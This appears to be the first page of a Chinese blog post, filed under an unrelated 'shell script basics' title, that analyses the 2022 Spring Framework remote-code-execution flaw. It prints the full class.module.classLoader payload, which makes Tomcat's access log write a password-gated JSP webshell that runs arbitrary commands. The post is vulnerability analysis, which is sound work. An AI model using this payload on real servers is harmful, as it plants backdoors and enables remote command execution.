shell脚本原理,shell脚本 基本知识

首页 > 经验 > 作者:YD1662022-11-07 08:01:55

Spring框架最新的PoC

这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

具体的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。

但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~

漏洞利用的原理

我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET) public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception { String email = requestparams.get("email"); String username = requestparams.get("username"); model.addAttribute("data", "email:" email " username:" username); return "index"; }

如果我们这么访问:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样:

shell脚本原理,shell脚本 基本知识(1)

image

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:

@RequestMapping(value = "/register2", method = RequestMethod.GET) public String register2(HelloWorld obj, Model model) throws Exception { model.addAttribute("data", obj.toString()); return "index"; }

访问一下:

shell脚本原理,shell脚本 基本知识(2)

image

这说明了,springmvc框架帮我们做了一个很重要的事情:

通过我们请求的数据,转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步:到底构造了一个什么数据会引发呢?

跑的环境是:

class.module.classLoader.resources.context.parent.pipeline.first.pattern= %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

shell脚本原理,shell脚本 基本知识(3)

image

@RequestMapping(value = "/rapid7") public void vulnerable(HelloWorld model) { }

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)

就会在tomcat的Root目录下生成一个jsp文件

shell脚本原理,shell脚本 基本知识(4)

首页 123下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.